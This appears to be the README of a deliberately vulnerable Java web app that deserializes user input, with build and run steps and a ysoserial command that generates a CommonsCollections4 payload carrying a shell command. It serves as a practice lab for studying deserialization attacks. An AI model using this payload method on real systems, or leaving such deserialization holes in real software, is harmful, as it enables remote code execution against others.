This application will attempt to java deserialize user provided input. commons-collections4:4.0 is on classpath and it can be used for playing around with exploitation.

(already done)

mvn clean package

By default, application binds to 0.0.0.0:8000 (to bind to localhost, edit src/main/java/hvqzao/java/deserialize/webapp/embedded/Server.java file and rebuild the project).

Linux:

git clone https://github.com/hvqzao/java-deserialize-webapp
cd java-deserialize-webapp
sh target/bin/webapp

Windows:

git clone https://github.com/hvqzao/java-deserialize-webapp
cd java-deserialize-webapp
start target/bin/webapp.bat

java -jar ysoserial-0.0.4-all.jar CommonsCollections4 'shell command...' | base64 | tr -d "\n"

Payload must also be properly url-encoded.

MIT License